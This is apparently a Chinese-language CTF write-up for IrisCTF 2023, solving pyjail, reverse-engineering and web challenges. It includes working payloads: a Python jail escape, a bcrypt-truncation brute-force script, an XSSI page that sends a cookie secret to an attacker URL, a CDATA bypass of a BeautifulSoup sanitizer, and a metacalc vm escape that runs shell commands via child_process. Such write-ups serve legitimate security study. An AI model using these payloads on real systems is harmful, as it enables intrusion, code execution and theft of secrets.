irisctf{very_helpful_error_message}
不過 intended solution 說是透過 RESOLV_HOST_CONF 可以讀檔,而這個是在 glibc 的這邊找到的。
Nameless#
pyjail
#!/usr/bin/python3
code_type = type(compile("1", "Code", "exec"))
go = input("Code: ")
res = compile(go, "home", "eval")
def clear(code):
print(">", code.co_names)
new_consts = []
for const in code.co_consts:
print("C:", const)
if isinstance(const, code_type):
new_consts.append(clear(const))
elif isinstance(const, int):
new_consts.append(0)
elif isinstance(const, str):
new_consts.append("")
elif isinstance(const, tuple):
new_consts.append(tuple(None for _ in range(len(const))))
else:
new_consts.append(None)
return code.replace(co_names=(), co_consts=tuple(new_consts))
res = clear(res)
del clear
del go
del code_type
# Go!
res = eval(res, {}, {})
print(res(vars(), vars))這個 pyjail 會遞迴地把 co_names 清空,然後對 co_consts 做些修改,然後回傳的東西需要是一個函數 res,之後用 res(vars(), vars) 呼叫之。
所以我們會想讓它為 lambda x, y: ... 的形式,因為參數是放在 co_varnames 的所以沒事,function local variables (a:=1 etc) 也是 co_varnames。
首先 x 是個 dict,裡面有 __builtins__,所以可以用 [*x][idx] 存取,不過 index 因為 int 都會被 replace 成 0 的關係需要自己用 not[] 去湊。拿到 builtins module 之後就用 y(__builtins__) 把它轉換成 dict,之後再用一樣的方法拿到 breakpoint 直接 call。
def gen(n):
s = '+'.join(['(not[])'] * n)
return '(' + s + ')'
go = f"""
lambda x,y:[x:=y(x[[*x][{gen(6)}]]),x[[*x][{gen(12)}]]][{gen(1)}]()
"""
print(go)
# lambda x,y:[x:=y(x[[*x][((not[])+(not[])+(not[])+(not[])+(not[])+(not[]))]]),x[[*x][((not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[])+(not[]))]]][((not[]))]()
# irisctf{i_made_this_challenge_so_long_ago_i_hope_there_arent_10000_with_this_idea_i_missed}另外是說數字的部分還有些有趣的組法,例如 -~-~-~-~-~-~-~-~-~-~-~(not[]),因為 python 的 ~x 其實就是 -x-1 而已,因為二補數要符合 x+(~x)=-1。
Reverse Engineering#
baby_rev#
丟進 IDA 然後 z3:
from z3 import *
s = [Int(f"s_{i}") for i in range(32)]
s0 = s[:]
s[0] -= 105
s[1] = s[1] - 114 + 1
s[2] = s[2] - 105 + 2
s[3] = s[3] - 115 + 3
s[4] = s[4] - 99 + 4
s[5] = s[5] - 116 + 5
s[6] = s[6] - 102 + 6
s[7] = s[7] - 123 + 7
s[8] = s[8] - 109 + 8
s[9] = s[9] - 105 + 9
s[10] = s[10] - 99 + 10
s[11] = s[11] - 114 + 11
s[12] = s[12] - 111 + 12
s[13] = s[13] - 115 + 13
s[14] = s[14] - 111 + 14
s[15] = s[15] - 102 + 15
s[16] = s[16] - 116 + 16
s[17] = s[17] - 95 + 17
s[18] = s[18] - 119 + 18
s[19] = s[19] - 111 + 19
s[20] = s[20] - 114 + 20
s[21] = s[21] - 100 + 21
s[22] = s[22] - 95 + 22
s[23] = s[23] - 97 + 23
s[24] = s[24] - 116 + 24
s[25] = s[25] - 95 + 25
s[26] = s[26] - 104 + 26
s[27] = s[27] - 111 + 27
s[28] = s[28] - 109 + 28
s[29] = s[29] - 101 + 29
s[30] = s[30] - 58 + 30
s[31] = s[31] - 125 + 31
sol = Solver()
for i in range(32):
sol.add(s[i] == i)
assert sol.check() == sat
m = sol.model()
print("".join([chr(m[s0[i]].as_long()) for i in range(32)]))
# irisctf{microsoft_word_at_home:}雖然以這題來說 z3 其實是很多餘,不過就 z3 比較好偷懶 XD。
Meaning of Python 1#
一個 python flag checker,它看起來會對輸入做一些奇怪的操作,然後 zlib.compress 後之後再做其他操作,最後和一個 constant byte string 比較而已。不過仔細看它根本就沒有動到原本的 string,因為是 immutable 的,所以就把最後的結果 zlib.decompress 就搞定了。
Meaning of Python 2#
它是個 obfuscated python script,簡單 reverse 一下可知它在 exec(zlib.decompress(something)),所以把那個壓縮的腳本解出來之後 foramt 一下又是另一個 obfuscated python script,但是它做的事和前一題很像,所以猜測說它也是沒有動到輸入,所以就把最後的結果 zlib.decompress 就搞定了。
Scoreboard Website Easter Egg#
scoreboard 頁面上有個 /static/theme_min.js 裡面包含了 obfuscated javascript,想辦法自己下 breakpoint 去 debug 之後可知它會在 localStorage 存一些狀態資訊,然後輸入方法是透過你按下的 category tab 來決定。經過 17 個輸入之後會做些 check,然後可以由此 derive 個 AES key 然後解密。
而解法也很簡單,就是把 category names 弄下來,一個一個爆破而已:
M = 1 << 64
target = [
0x2B47,
0x2EC76,
0x31E0F8,
0x34FFD37,
0x384FEAC4,
0x3BD4EA3C3,
0x3F9238ECB2,
0x438B5C7E540,
0x47C412466529,
0x4C40536ACD1D6,
0x510458A17A1B46,
0x56149E2B91BFCC8,
0x5B75E80E4ADBE365,
0x12D468F2F89A4375,
0x401AF822823E94E2,
0x41CA7A4AA6280CC2,
0x5E721EF508A904F2,
0x45940E4593396E2F,
0x9ED4F29EC6D07ADF,
0x8C241C8B33D8358E,
]
categories = [
"Binary Exploitation",
"Cryptography",
"Forensics",
"Miscellaneous",
"Networks",
"Radio Frequency",
"Reverse Engineering",
"Web Exploitation",
"Welcome",
]
b = 0x17
def cat2val(cat):
u = ord(cat[1]) * ord(cat[6]) - ord(cat[3])
v = cat[1] + cat[6] + cat[3]
return u, v
key = ""
i = 0
while i < len(target):
for cat in categories:
u, v = cat2val(cat)
if (b * 0x11 + u) % M == target[i]:
print(u, v)
b = (b * 0x11 + u) % M
i += 1
key += v
print(key)
break
# then enter the key to debugger to get svg
# irisctf{ponies_who_eat_rainbows_and_poop_butterflies}根據作者所說你也可以這樣手動按拿到 flag:
go to homepage
go to network challenge (https://2023.irisc.tf/challenges?category=Networks)
click on these in order:
binexp
forens
binexp
radio
binexp
binexp
crypto
misc
radio
web
forens
radio
netw
radio
netw
web
radio
netw
binexpWeb Exploitation#
babystrechy#
<?php
$password = exec("openssl rand -hex 64");
$stretched_password = "";
for($a = 0; $a < strlen($password); $a++) {
for($b = 0; $b < 64; $b++)
$stretched_password .= $password[$a];
}
echo "Fear my 4096 byte password!\n> ";
$h = password_hash($stretched_password, PASSWORD_DEFAULT);
while (FALSE !== ($line = fgets(STDIN))) {
if(password_verify(trim($line), $h)) die(file_get_contents("flag"));
echo "> ";
}
die("No!");
?>這題關鍵是 PASSWORD_DEFAULT 是 bcrypt,它只取前 72 個字元,所以直接爆就行了:
from pwn import *
import string
from subprocess import check_output
def solve_pow(io):
io.recvuntil(b'with:\n ')
cmd = io.recvlineS().strip()
print(cmd)
if input('Ok? ').lower().strip() != 'y':
exit()
out = check_output(cmd, shell=True).strip()
print(out)
io.sendlineafter(b'Solution? ', out)
# io = process(["php", "chal.php"])
io = remote("stretchy.chal.irisc.tf", 10704)
solve_pow(io)
io.recvuntil(b"> ")
for a in string.hexdigits:
for b in string.hexdigits:
pwd = a * 64 + b * 8
io.sendline(pwd.encode())
io.interactive()
# irisctf{truncation_silent_and_deadly}babycsrf#
from flask import Flask, request
app = Flask(__name__)
with open("home.html") as home:
HOME_PAGE = home.read()
@app.route("/")
def home():
return HOME_PAGE
@app.route("/api")
def page():
secret = request.cookies.get("secret", "EXAMPLEFLAG")
return f"setMessage('irisctf{{{secret}}}');"
app.run(port=12345)直接用個頁面上面定義 setMessage 並且包含 /api 這個 script 就好了:
<script>
setMessage = flag => {
new Image().src = '/flag?flag=' + encodeURIComponent(flag)
}
</script>
<script src="https://babycsrf-web.chal.irisc.tf/api"></script>irisctf{jsonp_is_never_the_answer}
是說這應該不叫 CSRF,而是 XSSI (Cross-Site Script Inclusion) 吧...
Feeling Tagged#
from flask import Flask, request, redirect
from bs4 import BeautifulSoup
import secrets
import base64
app = Flask(__name__)
SAFE_TAGS = ['i', 'b', 'p', 'br']
with open("home.html") as home:
HOME_PAGE = home.read()
@app.route("/")
def home():
return HOME_PAGE
@app.route("/add", methods=['POST'])
def add():
contents = request.form.get('contents', "").encode()
return redirect("/page?contents=" + base64.urlsafe_b64encode(contents).decode())
@app.route("/page")
def page():
contents = base64.urlsafe_b64decode(request.args.get('contents', '')).decode()
tree = BeautifulSoup(contents)
for element in tree.find_all():
if element.name not in SAFE_TAGS or len(element.attrs) > 0:
return "This HTML looks sus."
return f"<!DOCTYPE html><html><body>{str(tree)}</body></html>"基本上就是要繞基於 BeautifulSoup 的一個 html sanitizer,這種東西會出現問題的原因主要在於瀏覽器 (Chromium, Firefox) 在 parse html 時行為一般都和這種 server side 的 library 不一樣,所以很容易產生出不同的行為。
這邊 BeautifulSoup 用的底層 parser 是 html.parser,然後我就開始隨便試一些 html 的玩法,發現說它也會考慮 CDATA,但是在 HTML5 中 CDATA 只會在一些特別的 context 下有作用,所以這就能繞過了:
<![CDATA[><script>alert(1)</script>]]>BeautifulSoup 把它當成完整的 CDATA tag,但對 Chromium 來說 <![CDATA[> 被當成了一個 comment,所以後面的 script 就能執行。
irisctf{security_by_option}
作者的 writeup 是利用 <!--> 在 HTML5 中是一個 closed comment 這個事實來繞的。
metacalc#
const { Sheet } = require('metacalc');
const readline = require('readline');
const rl = readline.createInterface({ input: process.stdin, output: process.stdout });
const sheet = new Sheet();
rl.question('I will add 1 to your input?? ', input => {
sheet.cells["A1"] = 1;
sheet.cells["A2"] = input;
sheet.cells["A3"] = "=A1+A2";
console.log(sheet.values["A3"]);
process.exit(0);
});這邊使用的 metacalc 是 0.0.2 版本,然後它還有上一個 patch:
--- sheet.o.js 2022-08-11 17:32:27.803553441 -0700
+++ sheet.js 2022-08-11 17:38:51.821472938 -0700
@@ -7,13 +7,16 @@
new Proxy(target, {
get: (target, prop) => {
if (prop === 'constructor') return null;
+ if (prop === '__proto__') return null;
const value = target[prop];
if (typeof value === 'number') return value;
return wrap(value);
},
});
-const math = wrap(Math);
+// Math has too much of an attack surface :(
+const SlightlyLessUsefulMath = new Object();
+const math = wrap(SlightlyLessUsefulMath);
const getValue = (target, prop) => {
if (prop === 'Math') return math;所以 node_modules/metacalc/lib/sheet.js 會變成:
'use strict';
const metavm = require('metavm');
const wrap = (target) =>
new Proxy(target, {
get: (target, prop) => {
if (prop === 'constructor') return null;
if (prop === '__proto__') return null;
const value = target[prop];
if (typeof value === 'number') return value;
return wrap(value);
},
});
// Math has too much of an attack surface :(
const SlightlyLessUsefulMath = new Object();
const math = wrap(SlightlyLessUsefulMath);
const getValue = (target, prop) => {
if (prop === 'Math') return math;
const { expressions, data } = target;
if (!expressions.has(prop)) return data.get(prop);
const expression = expressions.get(prop);
return expression();
};
const getCell = (target, prop) => {
const { expressions, data } = target;
const collection = expressions.has(prop) ? expressions : data;
return collection.get(prop);
};
const setCell = (target, prop, value) => {
if (typeof value === 'string' && value[0] === '=') {
const src = '() => ' + value.substring(1);
const options = { context: target.context };
const script = metavm.createScript(prop, src, options);
target.expressions.set(prop, script.exports);
} else {
target.data.set(prop, value);
}
return true;
};
class Sheet {
constructor() {
this.data = new Map();
this.expressions = new Map();
this.values = new Proxy(this, { get: getValue });
this.context = metavm.createContext(this.values);
this.cells = new Proxy(this, { get: getCell, set: setCell });
}
}
module.exports = { Sheet };看起來就像是個 node.js jail,一般的關鍵都是要想辦法取得 vm 外面的物件,所以突破口肯定和 Math 有關。雖然你不能直接存用 Math.__proto__ 拿到外面的 Object.prototype,但是可以用 Object.getPrototypeOf 繞掉這個,因此完整的 payload 如下:
=({}).constructor.getPrototypeOf(Math).constructor.constructor("return process")().mainModule.require("child_process").execSync("cat /flag").toString()irisctf{be_careful_of_implicit_calls}